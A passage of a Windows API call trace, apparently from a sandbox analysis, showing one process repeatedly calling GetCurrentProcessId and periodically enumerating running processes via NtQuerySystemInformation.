0x0 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.959] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.960] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.961] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0117.962] GetCurrentProcessId () returned 0xd70 [0118.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bef8) returned 0x0 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.588] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.589] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.590] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.591] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0118.592] GetCurrentProcessId () returned 0xd70 [0119.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc58) returned 0x0 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.153] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.154] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.155] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.156] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.157] GetCurrentProcessId () returned 0xd70 [0119.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bea8) returned 0x0 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.811] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.812] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.813] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.814] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0119.815] GetCurrentProcessId () returned 0xd70 [0120.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be68) returned 0x0 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.359] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.360] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.361] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.362] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.363] GetCurrentProcessId () returned 0xd70 [0120.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1be68) returned 0x0 [0120.898] GetCurrentProcessId () returned 0xd70 [0120.898] GetCurrentProcessId () returned 0xd70 [0120.898] GetCurrentProcessId () returned 0xd70 [0120.898] GetCurrentProcessId () returned 0xd70 [0120.898] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.899] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.900] GetCurrentProcessId () returned 0xd70 [0120.901] GetCurrentProcessId () returned 0xd70 [0120.901] 